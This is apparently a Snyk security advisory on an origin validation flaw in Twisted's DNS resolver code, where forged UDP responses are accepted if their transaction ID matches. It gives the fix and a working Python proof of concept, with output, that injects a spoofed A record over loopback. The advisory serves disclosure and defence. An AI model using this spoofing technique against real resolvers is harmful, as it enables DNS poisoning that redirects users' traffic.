Origin Validation Error Affecting twisted package, versions [,26.10.0rc1)


Severity

Recommended
0.0
low
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.11% (2nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TWISTED-21692668
  • published24 Oct 2026
  • disclosed23 Oct 2026
  • credittinyb0y

Introduced: 23 Oct 2026

NewCVE-2026-83813  (opens in a new tab)
CWE-346  (opens in a new tab)

How to fix?

Upgrade Twisted to version 26.10.0rc1 or higher.

Overview

Twisted is an event-based network programming and multi-protocol integration framework.

Affected versions of this package are vulnerable to Origin Validation Error via DNSDatagramProtocol.datagramReceived in src/twisted/names/dns.py, where DNS responses are accepted solely on the basis of a matching transaction ID without verifying that the response originates from the same host and port to which the query was sent. An attacker who can observe or guess an in-flight transaction ID can send a forged UDP DNS response from an arbitrary source address, and the resolver will accept it as the legitimate answer, allowing injection of attacker-controlled DNS records.

PoC

import socket
from twisted.internet import reactor
from twisted.names import dns

class CapturingController:
    def messageReceived(self, message, protocol, address):
        pass

def main():
    resolverProto = dns.DNSDatagramProtocol(CapturingController())
    resolverProto.startListening()

    real_server = ("203.0.113.1", 53)  # RFC 5737 TEST-NET-1, never answers
    query = dns.Query(b"victim.example.com", dns.A, dns.IN)
    d = resolverProto.query(real_server, [query], timeout=5)

    stolen_id = next(iter(resolverProto.liveMessages))
    resolver_port = resolverProto.transport.getHost().port

    forged = dns.Message(stolen_id, answer=1)
    forged.queries = [query]
    forged.answers = [
        dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60,
                     payload=dns.Record_A(address="6.6.6.6"))
    ]

    attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    attacker_sock.bind(("127.0.0.1", 0))  # unrelated to real_server
    attacker_sock.sendto(forged.toStr(), ("127.0.0.1", resolver_port))

    def onResult(message):
        print("Resolver ACCEPTED forged response as the answer to its query to", real_server)
        print("Spoofed A record:", message.answers[0].payload.dottedQuad())
        reactor.stop()

    d.addCallback(onResult)

reactor.callWhenRunning(main)
reactor.run()

Output:

Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995
Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53))
Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53)
Spoofed A record: 6.6.6.6

The query was sent to 203.0.113.1:53, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation.

Note: The PoC uses Twisted's DNSDatagramProtocol against a loopback resolver, with the forged response sent from an unrelated local UDP socket.

CVSS Base Scores

version 4.0
version 3.1